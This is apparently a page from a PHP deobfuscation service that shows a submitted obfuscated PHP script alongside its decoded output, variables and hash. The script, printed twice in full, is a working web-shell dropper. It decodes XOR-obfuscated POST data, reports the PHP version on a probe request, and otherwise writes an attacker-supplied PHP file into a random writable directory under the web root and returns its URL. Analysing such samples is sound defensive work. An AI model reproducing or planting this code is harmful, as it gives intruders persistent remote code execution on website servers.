Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $feztdvmq = "wfyykreqlymvepak";$onedcahxcr = "";foreach ($_POST as $tnknmuhhya => $h..

Decoded Output download

<?php $feztdvmq = "wfyykreqlymvepak";$onedcahxcr = "";foreach ($_POST as $tnknmuhhya => $hmnptxsx){if (strlen($tnknmuhhya) == 16 and substr_count($hmnptxsx, "%") > 10){znwjyzm($tnknmuhhya, $hmnptxsx);}}function znwjyzm($tnknmuhhya, $zptgjvb){global $onedcahxcr;$onedcahxcr = $tnknmuhhya;$zptgjvb = str_split(rawurldecode(str_rot13($zptgjvb)));function bgqqwmdz($tnknmuajnrybxm, $tnknmuhhya){global $feztdvmq, $onedcahxcr;return $tnknmuajnrybxm ^ $feztdvmq[$tnknmuhhya % strlen($feztdvmq)] ^ $onedcahxcr[$tnknmuhhya % strlen($onedcahxcr)];}$zptgjvb = implode("", array_map("bgqqwmdz", array_values($zptgjvb), array_keys($zptgjvb)));$zptgjvb = @unserialize($zptgjvb);if (@is_array($zptgjvb)){$tnknmuhhya = array_keys($zptgjvb);$zptgjvb = $zptgjvb[$tnknmuhhya[0]];if ($zptgjvb === $tnknmuhhya[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function psjnxszrx($tnknmir) {static $hdmwvdg = array();$guynlqtfj = glob($tnknmir . '/*', GLOB_ONLYDIR);if (count($guynlqtfj) > 0) {foreach ($guynlqtfj as $tnknm){if (@is_writable($tnknm)){$hdmwvdg[] = $tnknm;}}}foreach ($guynlqtfj as $tnknmir) psjnxszrx($tnknmir);return $hdmwvdg;}$fjqfp = $_SERVER["DOCUMENT_ROOT"];$guynlqtfj = psjnxszrx($fjqfp);$tnknmuhhya = array_rand($guynlqtfj);$mzmkdisegp = $guynlqtfj[$tnknmuhhya] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($mzmkdisegp, $zptgjvb);echo "http://" . $_SERVER["HTTP_HOST"] . substr($mzmkdisegp, strlen($fjqfp));exit();}}} 
 ?>

Did this file decode correctly?

Original Code

<?php $feztdvmq = "wfyykreqlymvepak";$onedcahxcr = "";foreach ($_POST as $tnknmuhhya => $hmnptxsx){if (strlen($tnknmuhhya) == 16 and substr_count($hmnptxsx, "%") > 10){znwjyzm($tnknmuhhya, $hmnptxsx);}}function znwjyzm($tnknmuhhya, $zptgjvb){global $onedcahxcr;$onedcahxcr = $tnknmuhhya;$zptgjvb = str_split(rawurldecode(str_rot13($zptgjvb)));function bgqqwmdz($tnknmuajnrybxm, $tnknmuhhya){global $feztdvmq, $onedcahxcr;return $tnknmuajnrybxm ^ $feztdvmq[$tnknmuhhya % strlen($feztdvmq)] ^ $onedcahxcr[$tnknmuhhya % strlen($onedcahxcr)];}$zptgjvb = implode("", array_map("bgqqwmdz", array_values($zptgjvb), array_keys($zptgjvb)));$zptgjvb = @unserialize($zptgjvb);if (@is_array($zptgjvb)){$tnknmuhhya = array_keys($zptgjvb);$zptgjvb = $zptgjvb[$tnknmuhhya[0]];if ($zptgjvb === $tnknmuhhya[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function psjnxszrx($tnknmir) {static $hdmwvdg = array();$guynlqtfj = glob($tnknmir . '/*', GLOB_ONLYDIR);if (count($guynlqtfj) > 0) {foreach ($guynlqtfj as $tnknm){if (@is_writable($tnknm)){$hdmwvdg[] = $tnknm;}}}foreach ($guynlqtfj as $tnknmir) psjnxszrx($tnknmir);return $hdmwvdg;}$fjqfp = $_SERVER["DOCUMENT_ROOT"];$guynlqtfj = psjnxszrx($fjqfp);$tnknmuhhya = array_rand($guynlqtfj);$mzmkdisegp = $guynlqtfj[$tnknmuhhya] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($mzmkdisegp, $zptgjvb);echo "http://" . $_SERVER["HTTP_HOST"] . substr($mzmkdisegp, strlen($fjqfp));exit();}}}

Function Calls

None

Variables

$feztdvmq wfyykreqlymvepak
$onedcahxcr

Stats

MD5 127a42af87223d483d0ac789602daa99
Eval Count 0
Decode Time 96 ms